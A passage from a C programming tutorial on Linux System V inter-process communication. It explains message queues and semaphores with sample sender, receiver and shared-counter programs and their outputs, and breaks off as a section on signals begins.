CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
Reading Process: Shared Memory: Read 1023 bytes
Reading Process: Reading Done, Detaching Shared Memory
Reading Process: Complete

Message Queues

Why do we need message queues when we already have the shared memory? It would be for multiple reasons, let us try to break this into multiple points for simplification −

  • As understood, once the message is received by a process it would be no longer available for any other process. Whereas in shared memory, the data is available for multiple processes to access.

  • If we want to communicate with small message formats.

  • Shared memory data need to be protected with synchronization when multiple processes communicating at the same time.

  • Frequency of writing and reading using the shared memory is high, then it would be very complex to implement the functionality. Not worth with regard to utilization in this kind of cases.

  • What if all the processes do not need to access the shared memory but very few processes only need it, it would be better to implement with message queues.

  • If we want to communicate with different data packets, say process A is sending message type 1 to process B, message type 10 to process C, and message type 20 to process D. In this case, it is simplier to implement with message queues. To simplify the given message type as 1, 10, 20, it can be either 0 or +ve or –ve as discussed below.

  • Ofcourse, the order of message queue is FIFO (First In First Out). The first message inserted in the queue is the first one to be retrieved.

Using Shared Memory or Message Queues depends on the need of the application and how effectively it can be utilized.

Communication using message queues can happen in the following ways −

  • Writing into the shared memory by one process and reading from the shared memory by another process. As we are aware, reading can be done with multiple processes as well.

Message Queue
  • Writing into the shared memory by one process with different data packets and reading from it by multiple processes, i.e., as per message type.

Multiple Message Queue

Having seen certain information on message queues, now it is time to check for the system call (System V) which supports the message queues.

To perform communication using message queues, following are the steps −

Step 1 − Create a message queue or connect to an already existing message queue (msgget())

Step 2 − Write into message queue (msgsnd())

Step 3 − Read from the message queue (msgrcv())

Step 4 − Perform control operations on the message queue (msgctl())

Now, let us check the syntax and certain information on the above calls.

#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>

int msgget(key_t key, int msgflg)

This system call creates or allocates a System V message queue. Following arguments need to be passed −

  • The first argument, key, recognizes the message queue. The key can be either an arbitrary value or one that can be derived from the library function ftok().

  • The second argument, shmflg, specifies the required message queue flag/s such as IPC_CREAT (creating message queue if not exists) or IPC_EXCL (Used with IPC_CREAT to create the message queue and the call fails, if the message queue already exists). Need to pass the permissions as well.

Note − Refer earlier sections for details on permissions.

This call would return a valid message queue identifier (used for further calls of message queue) on success and -1 in case of failure. To know the cause of failure, check with errno variable or perror() function.

Various errors with respect to this call are EACCESS (permission denied), EEXIST (queue already exists can’t create), ENOENT (queue doesn’t exist), ENOMEM (not enough memory to create the queue), etc.

#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>

int msgsnd(int msgid, const void *msgp, size_t msgsz, int msgflg)

This system call sends/appends a message into the message queue (System V). Following arguments need to be passed −

  • The first argument, msgid, recognizes the message queue i.e., message queue identifier. The identifier value is received upon the success of msgget()

  • The second argument, msgp, is the pointer to the message, sent to the caller, defined in the structure of the following form −

struct msgbuf {
   long mtype;
   char mtext[1];
};

The variable mtype is used for communicating with different message types, explained in detail in msgrcv() call. The variable mtext is an array or other structure whose size is specified by msgsz (positive value). If the mtext field is not mentioned, then it is considered as zero size message, which is permitted.

  • The third argument, msgsz, is the size of message (the message should end with a null character)

  • The fourth argument, msgflg, indicates certain flags such as IPC_NOWAIT (returns immediately when no message is found in queue or MSG_NOERROR (truncates message text, if more than msgsz bytes)

This call would return 0 on success and -1 in case of failure. To know the cause of failure, check with errno variable or perror() function.

#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>

int msgrcv(int msgid, const void *msgp, size_t msgsz, long msgtype, int msgflg)

This system call retrieves the message from the message queue (System V). Following arguments need to be passed −

  • The first argument, msgid, recognizes the message queue i.e., the message queue identifier. The identifier value is received upon the success of msgget()

  • The second argument, msgp, is the pointer of the message received from the caller. It is defined in the structure of the following form −

struct msgbuf {
   long mtype;
   char mtext[1];
};

The variable mtype is used for communicating with different message types. The variable mtext is an array or other structure whose size is specified by msgsz (positive value). If the mtext field is not mentioned, then it is considered as zero size message, which is permitted.

  • The third argument, msgsz, is the size of the message received (message should end with a null character)

  • The fouth argument, msgtype, indicates the type of message −

    • If msgtype is 0 − Reads the first received message in the queue

    • If msgtype is +ve − Reads the first message in the queue of type msgtype (if msgtype is 10, then reads only the first message of type 10 even though other types may be in the queue at the beginning)

    • If msgtype is –ve − Reads the first message of lowest type less than or equal to the absolute value of message type (say, if msgtype is -5, then it reads first message of type less than 5 i.e., message type from 1 to 5)

  • The fifth argument, msgflg, indicates certain flags such as IPC_NOWAIT (returns immediately when no message is found in the queue or MSG_NOERROR (truncates the message text if more than msgsz bytes)

This call would return the number of bytes actually received in mtext array on success and -1 in case of failure. To know the cause of failure, check with errno variable or perror() function.

#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>

int msgctl(int msgid, int cmd, struct msqid_ds *buf)

This system call performs control operations of the message queue (System V). Following arguments need to be passed −

  • The first argument, msgid, recognizes the message queue i.e., the message queue identifier. The identifier value is received upon the success of msgget()

  • The second argument, cmd, is the command to perform the required control operation on the message queue. Valid values for cmd are −

IPC_STAT − Copies information of the current values of each member of struct msqid_ds to the passed structure pointed by buf. This command requires read permission on the message queue.

IPC_SET − Sets the user ID, group ID of the owner, permissions etc pointed to by structure buf.

IPC_RMID − Removes the message queue immediately.

IPC_INFO − Returns information about the message queue limits and parameters in the structure pointed by buf, which is of type struct msginfo

MSG_INFO − Returns an msginfo structure containing information about the consumed system resources by the message queue.

  • The third argument, buf, is a pointer to the message queue structure named struct msqid_ds. The values of this structure would be used for either set or get as per cmd.

This call would return the value depending on the passed command. Success of IPC_INFO and MSG_INFO or MSG_STAT returns the index or identifier of the message queue or 0 for other operations and -1 in case of failure. To know the cause of failure, check with errno variable or perror() function.

Having seen the basic information and system calls with regard to message queues, now it is time to check with a program.

Let us see the description before looking at the program −

Step 1 − Create two processes, one is for sending into message queue (msgq_send.c) and another is for retrieving from the message queue (msgq_recv.c)

Step 2 − Creating the key, using ftok() function. For this, initially file msgq.txt is created to get a unique key.

Step 3 − The sending process performs the following.

  • Reads the string input from the user

  • Removes the new line, if it exists

  • Sends into message queue

  • Repeats the process until the end of input (CTRL + D)

  • Once the end of input is received, sends the message “end” to signify the end of the process

Step 4 − In the receiving process, performs the following.

  • Reads the message from the queue
  • Displays the output
  • If the received message is “end”, finishes the process and exits

To simplify, we are not using the message type for this sample. Also, one process is writing into the queue and another process is reading from the queue. This can be extended as needed i.e., ideally one process would write into the queue and multiple processes read from the queue.

Now, let us check the process (message sending into queue) – File: msgq_send.c

/* Filename: msgq_send.c */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>

#define PERMS 0644
struct my_msgbuf {
   long mtype;
   char mtext[200];
};

int main(void) {
   struct my_msgbuf buf;
   int msqid;
   int len;
   key_t key;
   system("touch msgq.txt");
   
   if ((key = ftok("msgq.txt", 'B')) == -1) {
      perror("ftok");
      exit(1);
   }
   
   if ((msqid = msgget(key, PERMS | IPC_CREAT)) == -1) {
      perror("msgget");
      exit(1);
   }
   printf("message queue: ready to send messages.\n");
   printf("Enter lines of text, ^D to quit:\n");
   buf.mtype = 1; /* we don't really care in this case */
   
   while(fgets(buf.mtext, sizeof buf.mtext, stdin) != NULL) {
      len = strlen(buf.mtext);
      /* remove newline at end, if it exists */
      if (buf.mtext[len-1] == '\n') buf.mtext[len-1] = '\0';
      if (msgsnd(msqid, &buf, len+1, 0) == -1) /* +1 for '\0' */
      perror("msgsnd");
   }
   strcpy(buf.mtext, "end");
   len = strlen(buf.mtext);
   if (msgsnd(msqid, &buf, len+1, 0) == -1) /* +1 for '\0' */
   perror("msgsnd");
   
   if (msgctl(msqid, IPC_RMID, NULL) == -1) {
      perror("msgctl");
      exit(1);
   }
   printf("message queue: done sending messages.\n");
   return 0;
}

Compilation and Execution Steps

message queue: ready to send messages.
Enter lines of text, ^D to quit:
this is line 1
this is line 2
message queue: done sending messages.

Following is the code from message receiving process (retrieving message from queue) – File: msgq_recv.c

/* Filename: msgq_recv.c */
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>

#define PERMS 0644
struct my_msgbuf {
   long mtype;
   char mtext[200];
};

int main(void) {
   struct my_msgbuf buf;
   int msqid;
   int toend;
   key_t key;
   
   if ((key = ftok("msgq.txt", 'B')) == -1) {
      perror("ftok");
      exit(1);
   }
   
   if ((msqid = msgget(key, PERMS)) == -1) { /* connect to the queue */
      perror("msgget");
      exit(1);
   }
   printf("message queue: ready to receive messages.\n");
   
   for(;;) { /* normally receiving never ends but just to make conclusion 
             /* this program ends wuth string of end */
      if (msgrcv(msqid, &buf, sizeof(buf.mtext), 0, 0) == -1) {
         perror("msgrcv");
         exit(1);
      }
      printf("recvd: \"%s\"\n", buf.mtext);
      toend = strcmp(buf.mtext,"end");
      if (toend == 0)
      break;
   }
   printf("message queue: done receiving messages.\n");
   system("rm msgq.txt");
   return 0;
}

Compilation and Execution Steps

message queue: ready to receive messages.
recvd: "this is line 1"
recvd: "this is line 2"
recvd: "end"
message queue: done receiving messages.

Inter Process Communication - Semaphores

The first question that comes to mind is, why do we need semaphores? A simple answer, to protect the critical/common region shared among multiple processes.

Let us assume, multiple processes are using the same region of code and if all want to access parallelly then the outcome is overlapped. Say, for example, multiple users are using one printer only (common/critical section), say 3 users, given 3 jobs at same time, if all the jobs start parallelly, then one user output is overlapped with another. So, we need to protect that using semaphores i.e., locking the critical section when one process is running and unlocking when it is done. This would be repeated for each user/process so that one job is not overlapped with another job.

Basically semaphores are classified into two types −

Binary Semaphores − Only two states 0 & 1, i.e., locked/unlocked or available/unavailable, Mutex implementation.

Counting Semaphores − Semaphores which allow arbitrary resource count are called counting semaphores.

Assume that we have 5 printers (to understand assume that 1 printer only accepts 1 job) and we got 3 jobs to print. Now 3 jobs would be given for 3 printers (1 each). Again 4 jobs came while this is in progress. Now, out of 2 printers available, 2 jobs have been scheduled and we are left with 2 more jobs, which would be completed only after one of the resource/printer is available. This kind of scheduling as per resource availability can be viewed as counting semaphores.

To perform synchronization using semaphores, following are the steps −

Step 1 − Create a semaphore or connect to an already existing semaphore (semget())

Step 2 − Perform operations on the semaphore i.e., allocate or release or wait for the resources (semop())

Step 3 − Perform control operations on the message queue (semctl())

Now, let us check this with the system calls we have.

#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>

int semget(key_t key, int nsems, int semflg)

This system call creates or allocates a System V semaphore set. The following arguments need to be passed −

  • The first argument, key, recognizes the message queue. The key can be either an arbitrary value or one that can be derived from the library function ftok().

  • The second argument, nsems, specifies the number of semaphores. If binary then it is 1, implies need of 1 semaphore set, otherwise as per the required count of number of semaphore sets.

  • The third argument, semflg, specifies the required semaphore flag/s such as IPC_CREAT (creating semaphore if it does not exist) or IPC_EXCL (used with IPC_CREAT to create semaphore and the call fails, if a semaphore already exists). Need to pass the permissions as well.

Note − Refer earlier sections for details on permissions.

This call would return valid semaphore identifier (used for further calls of semaphores) on success and -1 in case of failure. To know the cause of failure, check with errno variable or perror() function.

Various errors with respect to this call are EACCESS (permission denied), EEXIST (queue already exists can’t create), ENOENT (queue doesn’t exist), ENOMEM (not enough memory to create the queue), ENOSPC (maximum sets limit exceeded), etc.

#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>

int semop(int semid, struct sembuf *semops, size_t nsemops)

This system call performs the operations on the System V semaphore sets viz., allocating resources, waiting for the resources or freeing the resources. Following arguments need to be passed −

  • The first argument, semid, indicates semaphore set identifier created by semget().

  • The second argument, semops, is the pointer to an array of operations to be performed on the semaphore set. The structure is as follows −

struct sembuf {
   unsigned short sem_num; /* Semaphore set num */
   short sem_op; /* Semaphore operation */
   short sem_flg; /* Operation flags, IPC_NOWAIT, SEM_UNDO */
};

Element, sem_op, in the above structure, indicates the operation that needs to be performed −

  • If sem_op is –ve, allocate or obtain resources. Blocks the calling process until enough resources have been freed by other processes, so that this process can allocate.

  • If sem_op is zero, the calling process waits or sleeps until semaphore value reaches 0.

  • If sem_op is +ve, release resources.

For example −

struct sembuf sem_lock = { 0, -1, SEM_UNDO };

struct sembuf sem_unlock = {0, 1, SEM_UNDO };

  • The third argument, nsemops, is the number of operations in that array.

#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>

int semctl(int semid, int semnum, int cmd, …)

This system call performs control operation for a System V semaphore. The following arguments need to be passed −

  • The first argument, semid, is the identifier of the semaphore. This id is the semaphore identifier, which is the return value of semget() system call.

  • The second argument, semnum, is the number of semaphore. The semaphores are numbered from 0.

  • The third argument, cmd, is the command to perform the required control operation on the semaphore.

  • The fourth argument, of type, union semun, depends on the cmd. For few cases, the fourth argument is not applicable.

Let us check the union semun −

union semun {
   int val; /* val for SETVAL */
   struct semid_ds *buf; /* Buffer for IPC_STAT and IPC_SET */
   unsigned short *array; /* Buffer for GETALL and SETALL */
   struct seminfo *__buf; /* Buffer for IPC_INFO and SEM_INFO*/
};

The semid_ds data structure which is defined in sys/sem.h is as follows −

struct semid_ds {
   struct ipc_perm sem_perm; /* Permissions */
   time_t sem_otime; /* Last semop time */
   time_t sem_ctime; /* Last change time */
   unsigned long sem_nsems; /* Number of semaphores in the set */
};

Note − Please refer manual pages for other data structures.

union semun arg; Valid values for cmd are −

  • IPC_STAT − Copies the information of the current values of each member of struct semid_ds to the passed structure pointed by arg.buf. This command requires read permission to the semaphore.

  • IPC_SET − Sets the user ID, group ID of the owner, permissions, etc. pointed to by the structure semid_ds.

  • IPC_RMID − Removes the semaphores set.

  • IPC_INFO − Returns the information about the semaphore limits and parameters in the structure semid_ds pointed by arg.__buf.

  • SEM_INFO − Returns a seminfo structure containing information about the consumed system resources by the semaphore.

This call would return value (non-negative value) depending upon the passed command. Upon success, IPC_INFO and SEM_INFO or SEM_STAT returns the index or identifier of the highest used entry as per Semaphore or the value of semncnt for GETNCNT or the value of sempid for GETPID or the value of semval for GETVAL 0 for other operations on success and -1 in case of failure. To know the cause of failure, check with errno variable or perror() function.

Before looking at the code, let us understand its implementation −

  • Create two processes say, child and parent.

  • Create shared memory mainly needed to store the counter and other flags to indicate end of read/write process into the shared memory.

  • The counter is incremented by count by both parent and child processes. The count is either passed as a command line argument or taken as default (if not passed as command line argument or the value is less than 10000). Called with certain sleep time to ensure both parent and child accesses the shared memory at the same time i.e., in parallel.

  • Since, the counter is incremented in steps of 1 by both parent and child, the final value should be double the counter. Since, both parent and child processes performing the operations at same time, the counter is not incremented as required. Hence, we need to ensure the completeness of one process completion followed by other process.

  • All the above implementations are performed in the file shm_write_cntr.c

  • Check if the counter value is implemented in file shm_read_cntr.c

  • To ensure completion, the semaphore program is implemented in file shm_write_cntr_with_sem.c. Remove the semaphore after completion of the entire process (after read is done from other program)

  • Since, we have separate files to read the value of counter in the shared memory and don’t have any effect from writing, the reading program remains the same (shm_read_cntr.c)

  • It is always better to execute the writing program in one terminal and reading program from another terminal. Since, the program completes execution only after the writing and reading process is complete, it is ok to run the program after completely executing the write program. The write program would wait until the read program is run and only finishes after it is done.

Programs without semaphores.

/* Filename: shm_write_cntr.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>

#define SHM_KEY 0x12345
struct shmseg {
   int cntr;
   int write_complete;
   int read_complete;
};
void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count);

int main(int argc, char *argv[]) {
   int shmid;
   struct shmseg *shmp;
   char *bufptr;
   int total_count;
   int sleep_time;
   pid_t pid;
   if (argc != 2)
   total_count = 10000;
   else {
      total_count = atoi(argv[1]);
      if (total_count < 10000)
      total_count = 10000;
   }
   printf("Total Count is %d\n", total_count);
   shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);

   if (shmid == -1) {
      perror("Shared memory");
      return 1;
   }

   // Attach to the segment to get a pointer to it.
   shmp = shmat(shmid, NULL, 0);
   if (shmp == (void *) -1) {
      perror("Shared memory attach");
      return 1;
   }
   shmp->cntr = 0;
   pid = fork();

   /* Parent Process - Writing Once */
   if (pid > 0) {
      shared_memory_cntr_increment(pid, shmp, total_count);
   } else if (pid == 0) {
      shared_memory_cntr_increment(pid, shmp, total_count);
      return 0;
   } else {
      perror("Fork Failure\n");
      return 1;
   }
   while (shmp->read_complete != 1)
   sleep(1);

   if (shmdt(shmp) == -1) {
      perror("shmdt");
      return 1;
   }

   if (shmctl(shmid, IPC_RMID, 0) == -1) {
      perror("shmctl");
      return 1;
   }
   printf("Writing Process: Complete\n");
   return 0;
}

/* Increment the counter of shared memory by total_count in steps of 1 */
void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count) {
   int cntr;
   int numtimes;
   int sleep_time;
   cntr = shmp->cntr;
   shmp->write_complete = 0;
   if (pid == 0)
   printf("SHM_WRITE: CHILD: Now writing\n");
   else if (pid > 0)
   printf("SHM_WRITE: PARENT: Now writing\n");
   //printf("SHM_CNTR is %d\n", shmp->cntr);
   
   /* Increment the counter in shared memory by total_count in steps of 1 */
   for (numtimes = 0; numtimes < total_count; numtimes++) {
      cntr += 1;
      shmp->cntr = cntr;
      
      /* Sleeping for a second for every thousand */
      sleep_time = cntr % 1000;
      if (sleep_time == 0)
      sleep(1);
   }
   
   shmp->write_complete = 1;
   if (pid == 0)
   printf("SHM_WRITE: CHILD: Writing Done\n");
   else if (pid > 0)
   printf("SHM_WRITE: PARENT: Writing Done\n");
   return;
}

Compilation and Execution Steps

Total Count is 10000
SHM_WRITE: PARENT: Now writing
SHM_WRITE: CHILD: Now writing
SHM_WRITE: PARENT: Writing Done
SHM_WRITE: CHILD: Writing Done
Writing Process: Complete

Now, let us check the shared memory reading program.

/* Filename: shm_read_cntr.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>

#define SHM_KEY 0x12345
struct shmseg {
   int cntr;
   int write_complete;
   int read_complete;
};

int main(int argc, char *argv[]) {
   int shmid, numtimes;
   struct shmseg *shmp;
   int total_count;
   int cntr;
   int sleep_time;
   if (argc != 2)
   total_count = 10000;
   
   else {
      total_count = atoi(argv[1]);
      if (total_count < 10000)
      total_count = 10000;
   }
   shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
   
   if (shmid == -1) {
      perror("Shared memory");
      return 1;
   }
   // Attach to the segment to get a pointer to it.
   shmp = shmat(shmid, NULL, 0);
   
   if (shmp == (void *) -1) {
      perror("Shared memory attach");
      return 1;
   }
   
   /* Read the shared memory cntr and print it on standard output */
   while (shmp->write_complete != 1) {
      if (shmp->cntr == -1) {
         perror("read");
         return 1;
      }
      sleep(3);
   }
   printf("Reading Process: Shared Memory: Counter is %d\n", shmp->cntr);
   printf("Reading Process: Reading Done, Detaching Shared Memory\n");
   shmp->read_complete = 1;
   
   if (shmdt(shmp) == -1) {
      perror("shmdt");
      return 1;
   }
   printf("Reading Process: Complete\n");
   return 0;
}

Compilation and Execution Steps

Reading Process: Shared Memory: Counter is 11000
Reading Process: Reading Done, Detaching Shared Memory
Reading Process: Complete

If you observe the above output, the counter should be 20000, however, since before completion of one process task other process is also processing in parallel, the counter value is not as expected. The output would vary from system to system and also it would vary with each execution. To ensure the two processes perform the task after completion of one task, it should be implemented using synchronization mechanisms.

Now, let us check the same application using semaphores.

Note − Reading program remains the same.

/* Filename: shm_write_cntr_with_sem.c */
#include<stdio.h>
#include<sys/types.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/sem.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>

#define SHM_KEY 0x12345
#define SEM_KEY 0x54321
#define MAX_TRIES 20

struct shmseg {
   int cntr;
   int write_complete;
   int read_complete;
};
void shared_memory_cntr_increment(int, struct shmseg*, int);
void remove_semaphore();

int main(int argc, char *argv[]) {
   int shmid;
   struct shmseg *shmp;
   char *bufptr;
   int total_count;
   int sleep_time;
   pid_t pid;
   if (argc != 2)
   total_count = 10000;
   else {
      total_count = atoi(argv[1]);
      if (total_count < 10000)
      total_count = 10000;
   }
   printf("Total Count is %d\n", total_count);
   shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
   
   if (shmid == -1) {
      perror("Shared memory");
      return 1;
   }
   // Attach to the segment to get a pointer to it.
   shmp = shmat(shmid, NULL, 0);
   
   if (shmp == (void *) -1) {
      perror("Shared memory attach: ");
      return 1;
   }
   shmp->cntr = 0;
   pid = fork();
   
   /* Parent Process - Writing Once */
   if (pid > 0) {
      shared_memory_cntr_increment(pid, shmp, total_count);
   } else if (pid == 0) {
      shared_memory_cntr_increment(pid, shmp, total_count);
      return 0;
   } else {
      perror("Fork Failure\n");
      return 1;
   }
   while (shmp->read_complete != 1)
   sleep(1);
   
   if (shmdt(shmp) == -1) {
      perror("shmdt");
      return 1;
   }
   
   if (shmctl(shmid, IPC_RMID, 0) == -1) {
      perror("shmctl");
      return 1;
   }
   printf("Writing Process: Complete\n");
   remove_semaphore();
   return 0;
}

/* Increment the counter of shared memory by total_count in steps of 1 */
void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count) {
   int cntr;
   int numtimes;
   int sleep_time;
   int semid;
   struct sembuf sem_buf;
   struct semid_ds buf;
   int tries;
   int retval;
   semid = semget(SEM_KEY, 1, IPC_CREAT | IPC_EXCL | 0666);
   //printf("errno is %d and semid is %d\n", errno, semid);
   
   /* Got the semaphore */
   if (semid >= 0) {
      printf("First Process\n");
      sem_buf.sem_op = 1;
      sem_buf.sem_flg = 0;
      sem_buf.sem_num = 0;
      retval = semop(semid, &sem_buf, 1);
      if (retval == -1) {
         perror("Semaphore Operation: ");
         return;
      }
   } else if (errno == EEXIST) { // Already other process got it
      int ready = 0;
      printf("Second Process\n");
      semid = semget(SEM_KEY, 1, 0);
      if (semid < 0) {
         perror("Semaphore GET: ");
         return;
      }
      
      /* Waiting for the resource */
      sem_buf.sem_num = 0;
      sem_buf.sem_op = 0;
      sem_buf.sem_flg = SEM_UNDO;
      retval = semop(semid, &sem_buf, 1);
      if (retval == -1) {
         perror("Semaphore Locked: ");
         return;
      }
   }
   sem_buf.sem_num = 0;
   sem_buf.sem_op = -1; /* Allocating the resources */
   sem_buf.sem_flg = SEM_UNDO;
   retval = semop(semid, &sem_buf, 1);
   
   if (retval == -1) {
      perror("Semaphore Locked: ");
      return;
   }
   cntr = shmp->cntr;
   shmp->write_complete = 0;
   if (pid == 0)
   printf("SHM_WRITE: CHILD: Now writing\n");
   else if (pid > 0)
   printf("SHM_WRITE: PARENT: Now writing\n");
   //printf("SHM_CNTR is %d\n", shmp->cntr);
   
   /* Increment the counter in shared memory by total_count in steps of 1 */
   for (numtimes = 0; numtimes < total_count; numtimes++) {
      cntr += 1;
      shmp->cntr = cntr;
      /* Sleeping for a second for every thousand */
      sleep_time = cntr % 1000;
      if (sleep_time == 0)
      sleep(1);
   }
   shmp->write_complete = 1;
   sem_buf.sem_op = 1; /* Releasing the resource */
   retval = semop(semid, &sem_buf, 1);
   
   if (retval == -1) {
      perror("Semaphore Locked\n");
      return;
   }
   
   if (pid == 0)
      printf("SHM_WRITE: CHILD: Writing Done\n");
      else if (pid > 0)
      printf("SHM_WRITE: PARENT: Writing Done\n");
      return;
}
   
void remove_semaphore() {
   int semid;
   int retval;
   semid = semget(SEM_KEY, 1, 0);
      if (semid < 0) {
         perror("Remove Semaphore: Semaphore GET: ");
         return;
      }
   retval = semctl(semid, 0, IPC_RMID);
   if (retval == -1) {
      perror("Remove Semaphore: Semaphore CTL: ");
      return;
   }
   return;
}

Compilation and Execution Steps

Total Count is 10000
First Process
SHM_WRITE: PARENT: Now writing
Second Process
SHM_WRITE: PARENT: Writing Done
SHM_WRITE: CHILD: Now writing
SHM_WRITE: CHILD: Writing Done
Writing Process: Complete

Now, we will check the counter value by the reading process.

Execution Steps

Reading Process: Shared Memory: Counter is 20000
Reading Process: Reading Done, Detaching Shared Memory
Reading Process: Complete

Inter Process Communication - Signals

A signal is a notification to a process indicating the occurrence of an event. Signal is also called software interrupt and is not predictable to know its occurrence, hence it is also called an asynchronous event.

Signal can be specified with a number or a name, usually signal names start with SIG. The available signals can be checked with the command kill –l (l for Listing signal names), which is as follows −

Signal

